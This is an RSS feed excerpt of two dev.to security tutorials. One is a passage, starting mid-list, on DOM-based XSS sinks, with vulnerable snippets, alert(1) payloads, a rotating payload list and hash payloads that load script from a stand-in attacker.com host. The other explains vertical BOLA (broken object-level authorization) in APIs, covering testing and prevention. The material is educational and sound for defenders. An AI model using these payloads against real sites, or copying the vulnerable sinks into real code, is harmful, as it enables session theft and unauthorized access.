&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  16. DOMParser Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;DOMParser&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;doc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parseFromString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;text/html&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;#&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  17. Dynamic Script Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;script&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;script&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#https://attacker.com/x.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  18. Fetch → DOM Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#https://attacker.com/payload.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  19. setTimeout String Execution
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Payload:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  20. window.name Injection
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Attack Flow:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;img src=x onerror=alert(1)&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;location&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://target.com&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Mental Model
&lt;/h2&gt;

&lt;p&gt;When reviewing JavaScript, always map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SOURCE → TRANSFORMATION → SINK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source = location, storage, message, URL&lt;/li&gt;
&lt;li&gt;Transformation = decode, replace, parse&lt;/li&gt;
&lt;li&gt;Sink = innerHTML, eval, script, attributes&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Payload Strategy
&lt;/h2&gt;

&lt;p&gt;Don’t rely on one payload. Rotate between:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(1)&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
javascript:alert(1)
data:text/html,&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
" onmouseover=alert(1) x="
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>webdev</category>
      <category>javascript</category>
      <category>react</category>
      <category>html</category>
    </item>
    <item>
      <title>Understanding Vertical BOLA in APIs</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Mon, 09 Mar 2026 11:07:40 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/understanding-vertical-bola-in-apis-358m</link>
      <guid>https://dev.to/abhinavsingwal/understanding-vertical-bola-in-apis-358m</guid>
      <description>&lt;p&gt;When learning &lt;strong&gt;API penetration testing&lt;/strong&gt;, one of the most dangerous vulnerabilities you will encounter is &lt;strong&gt;Vertical BOLA&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is responsible for many &lt;strong&gt;critical bug bounty reports and real-world data breaches&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this article, we will break down what Vertical BOLA is, why it happens, and how security researchers can test for it.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Vertical BOLA?
&lt;/h2&gt;

&lt;p&gt;Vertical BOLA happens when a &lt;strong&gt;normal user is able to access functionality or data that should only be available to higher-privileged roles such as administrators&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A user is authenticated, but the API does not properly verify whether that user should be allowed to perform a privileged action.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This leads to &lt;strong&gt;privilege escalation&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Horizontal vs Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;Understanding the difference is important.&lt;/p&gt;

&lt;h3&gt;
  
  
  Horizontal BOLA
&lt;/h3&gt;

&lt;p&gt;User accesses &lt;strong&gt;another user's data&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/users/102
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;User 101 changes the ID to &lt;strong&gt;102&lt;/strong&gt; and accesses another user's profile.&lt;/p&gt;




&lt;h3&gt;
  
  
  Vertical BOLA
&lt;/h3&gt;

&lt;p&gt;User accesses &lt;strong&gt;admin-level functionality&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/admin/users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a normal user token can access this endpoint, it is a &lt;strong&gt;Vertical BOLA vulnerability&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Vertical BOLA Happens
&lt;/h2&gt;

&lt;p&gt;Most developers correctly implement &lt;strong&gt;authentication&lt;/strong&gt;, but forget to enforce &lt;strong&gt;authorization checks&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Common mistakes include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Only checking if the user is logged in&lt;/li&gt;
&lt;li&gt;Trusting frontend restrictions&lt;/li&gt;
&lt;li&gt;Missing role validation in backend APIs&lt;/li&gt;
&lt;li&gt;Reusing internal admin endpoints for public APIs&lt;/li&gt;
&lt;li&gt;Incorrect middleware configuration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because APIs are often used by &lt;strong&gt;web, mobile, and internal tools&lt;/strong&gt;, some endpoints accidentally become exposed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Real-World Example
&lt;/h2&gt;

&lt;p&gt;Imagine a normal user sends this request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/admin/users
Authorization: Bearer user_token
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Response:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin@company.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the API failed to verify that the user is &lt;strong&gt;not an administrator&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is a &lt;strong&gt;critical vulnerability&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Vertical BOLA Patterns
&lt;/h2&gt;

&lt;p&gt;Security researchers often find Vertical BOLA in the following areas.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Admin Endpoints
&lt;/h3&gt;

&lt;p&gt;Look for endpoints like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/api/admin/users
/api/admin/settings
/api/admin/reports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If they work with a normal user token, there is a problem.&lt;/p&gt;




&lt;h3&gt;
  
  
  2. Role Manipulation in Requests
&lt;/h3&gt;

&lt;p&gt;Sometimes APIs trust user input.&lt;/p&gt;

&lt;p&gt;Example request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"role"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"admin"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the backend accepts this, the attacker may gain admin privileges.&lt;/p&gt;




&lt;h3&gt;
  
  
  3. Organization-Level Access
&lt;/h3&gt;

&lt;p&gt;Many SaaS platforms separate customers by &lt;strong&gt;organization or tenant&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/org/1234/users
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a user from organization &lt;strong&gt;5678&lt;/strong&gt; can access &lt;strong&gt;1234&lt;/strong&gt;, this becomes a serious data breach.&lt;/p&gt;




&lt;h3&gt;
  
  
  4. Export and Reporting APIs
&lt;/h3&gt;

&lt;p&gt;Admin dashboards often include powerful endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GET /api/export/users
GET /api/export/transactions
GET /api/export/reports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These endpoints sometimes lack proper role checks.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Test for Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;A simple testing workflow:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create a &lt;strong&gt;normal user account&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Intercept requests using a proxy&lt;/li&gt;
&lt;li&gt;Look for:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;Admin routes in JavaScript files&lt;/li&gt;
&lt;li&gt;Hidden API endpoints&lt;/li&gt;
&lt;li&gt;Internal APIs used by dashboards

&lt;ol&gt;
&lt;li&gt;Replay these requests using the &lt;strong&gt;normal user token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Observe responses for unauthorized data access&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Always compare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Status codes&lt;/li&gt;
&lt;li&gt;Response data&lt;/li&gt;
&lt;li&gt;Accessible actions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Potential Impact
&lt;/h2&gt;

&lt;p&gt;Vertical BOLA can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Viewing all users' personal information&lt;/li&gt;
&lt;li&gt;Changing user roles&lt;/li&gt;
&lt;li&gt;Accessing financial reports&lt;/li&gt;
&lt;li&gt;Deleting accounts&lt;/li&gt;
&lt;li&gt;Resetting passwords&lt;/li&gt;
&lt;li&gt;Full system compromise&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In bug bounty programs, this is usually classified as &lt;strong&gt;Critical severity&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why APIs Are Especially Vulnerable
&lt;/h2&gt;

&lt;p&gt;APIs expose &lt;strong&gt;direct backend functionality&lt;/strong&gt;, which means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Frontend restrictions can be bypassed&lt;/li&gt;
&lt;li&gt;Attackers interact directly with backend logic&lt;/li&gt;
&lt;li&gt;Authorization checks must be implemented on &lt;strong&gt;every endpoint&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even one missing check can expose the entire system.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Developers Can Prevent Vertical BOLA
&lt;/h2&gt;

&lt;p&gt;Secure APIs should always:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enforce &lt;strong&gt;role-based access control (RBAC)&lt;/strong&gt; on the server&lt;/li&gt;
&lt;li&gt;Validate permissions for &lt;strong&gt;every request&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Avoid trusting client-supplied roles&lt;/li&gt;
&lt;li&gt;Use centralized authorization middleware&lt;/li&gt;
&lt;li&gt;Perform object-level permission checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Security should never depend on &lt;strong&gt;frontend controls&lt;/strong&gt;.&lt;/p&gt;

</description>
      <category>bola</category>
      <category>verticalbola</category>
      <category>api</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
